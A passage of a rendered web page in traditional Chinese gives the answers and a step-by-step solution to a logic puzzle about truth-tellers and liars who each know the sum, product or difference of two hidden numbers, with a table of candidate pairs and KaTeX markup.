xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的確切數值，試求出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值，以及具體刪除哪幾句？</p></li></ol><blockquote><p>為了以下論述方便，我們使用<code>說話人-全部句數中第幾句</code>對句子進行編號，譬如<code>乙-5</code>為「的確，我不知道」；另外，以T代表說實話者，F代表說謊者；再者，若論述提及「某人不知道」，未註明時均指他「不知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>兩數的確切數值」。</p></blockquote><hr><h2 id="%E7%B0%A1%E7%AD%94" tabindex="-1" id="簡答">簡答</h2><details><summary>點我展開</summary><ol><li><p>所有可能為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)\vee(5,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>可使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>最小</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{(3,9),(4,8)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)}</span></span></span></span></p></li><li><p>如下表</p><table><thead><tr><th>角色</th><th>何時知道</th></tr></thead><tbody><tr><td>乙</td><td>對話開始之前</td></tr><tr><td>丙</td><td><code>甲-4</code>後</td></tr><tr><td>甲</td><td><code>乙-8</code>後</td></tr></tbody></table></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>的最大值為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn></mrow><annotation encoding="application/x-tex">8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span>，只需保留<code>甲-4</code>即可</p></li></ol></details><h2 id="%E8%A9%B3%E8%A7%A3" tabindex="-1" id="詳解">詳解</h2><h3 id="%E7%AC%AC1%E9%A1%8C" tabindex="-1" id="第1題">第1題</h3><details><summary>點我展開</summary>先將所有可能情形列出<table><thead><tr><th>(x,y)</th><th>甲 (x+y)</th><th>乙 (xy)</th><th>丙 (x-y)</th><th>xy唯一?</th><th>x+y唯一?</th><th>x-y唯一?</th></tr></thead><tbody><tr><td>(2,3)</td><td>5</td><td>6</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,4)</td><td>6</td><td>8</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,5)</td><td>7</td><td>10</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,6)</td><td>8</td><td>12</td><td>-4</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,7)</td><td>9</td><td>14</td><td>-5</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,8)</td><td>10</td><td>16</td><td>-6</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(2,9)</td><td>11</td><td>18</td><td>-7</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#2ECC71;">是</span></td></tr><tr><td>(3,4)</td><td>7</td><td>12</td><td>-1</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,5)</td><td>8</td><td>15</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,6)</td><td>9</td><td>18</td><td>-3</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,7)</td><td>10</td><td>21</td><td>-4</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,8)</td><td>11</td><td>24</td><td>-5</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(3,9)</td><td>12</td><td>27</td><td>-6</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,5)</td><td>9</td><td>20</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,6)</td><td>10</td><td>24</td><td>-2</td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,7)</td><td>11</td><td>28</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,8)</td><td>12</td><td>32</td><td>-4</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(4,9)</td><td>13</td><td>36</td><td>-5</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,6)</td><td>11</td><td>30</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,7)</td><td>12</td><td>35</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,8)</td><td>13</td><td>40</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(5,9)</td><td>14</td><td>45</td><td>-4</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(6,7)</td><td>13</td><td>42</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(6,8)</td><td>14</td><td>48</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(6,9)</td><td>15</td><td>54</td><td>-3</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(7,8)</td><td>15</td><td>56</td><td>-2</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(7,9)</td><td>16</td><td>63</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr><tr><td>(8,9)</td><td>17</td><td>72</td><td>-1</td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#2ECC71;">是</span></td><td><span style="color:#3498DB;">否</span></td></tr></tbody></table><p>為了以下論述方便，我們使用<code>說話人-全部句數中第幾句</code>對句子進行編號，譬如<code>乙-5</code>為「的確，我不知道」；另外，以T代表說實話者，F代表說謊者；再者，若以下論述提及「某人不知道」，未註明時均指他「不知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>兩數的確切數值」。以下開始進行推論：</p><ul><li><p>甲知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>中必有奇數，若且惟若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，因為此時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>必為一奇一偶，且若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為偶數，甲將不能確定<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>是兩奇或兩偶</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>的奇偶性相同</p></li><li><p>丙-3：「我不知道這個數是什麼，不過甲在說謊」</p><ul><li><p>若丙為T <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 丙不知道(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">x-y\neq-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>)且甲為F，而且<font color=pink>丙知道甲為F</font>。根據上表，我們知道丙除非是拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>，否則不可能在一開始就能推論出甲知道與否，因此丙僅能對「<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>必有奇數」做出否定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>均為偶數</p></li><li><p>若丙為F <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 丙知道(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">x-y=-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>)或甲為T，不過若丙知道，則查表知甲確實不知道，且丙知道代表<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">x-y=-7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">7</span></span></span></span>，進而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，從而甲亦說實話。因此，無論如何甲為T。<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y,x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo mathvariant="normal">∉</mo><mo stretchy="false">{</mo><mn>5</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>16</mn><mo separator="true">,</mo><mn>17</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">x+y\notin\{5,6,16,17\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">16</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">17</span><span class="mclose">}</span></span></span></span></p></li><li><p>由以上兩點，我們得知：甲為T <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇔</mo></mrow><annotation encoding="application/x-tex">\Leftrightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇔</span></span></span></span> 丙為F <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇔</mo></mrow><annotation 